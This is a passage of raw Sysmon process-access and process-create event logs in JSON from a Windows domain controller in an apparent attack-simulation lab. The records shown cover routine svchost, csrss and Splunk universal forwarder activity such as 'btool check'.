ll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1789,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1790,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1791,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1792,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1793,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-00104F1F0300}\r\nTargetProcessId: 3744\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-00104F1F0300}","TargetProcessId":"3744","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1794,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.671\r\nProcessGuid: {90617006-3FE6-5F2D-0000-00102A200300}\r\nProcessId: 3720\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool check --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-00104F1F0300}\r\nParentProcessId: 3744\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" check --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.671","ProcessGuid":"{90617006-3FE6-5F2D-0000-00102A200300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool check --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-00104F1F0300}","ParentProcessId":"3744","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" check --no-log","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1795,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-00104F1F0300}\r\nSourceProcessId: 3744\r\nSourceThreadId: 3740\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-00102A200300}\r\nTargetProcessId: 3720\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-00104F1F0300}","SourceProcessId":"3744","SourceThreadId":"3740","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-00102A200300}","TargetProcessId":"3720","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1796,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-00102A200300}\r\nTargetProcessId: 3720\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-00102A200300}","TargetProcessId":"3720","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1797,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 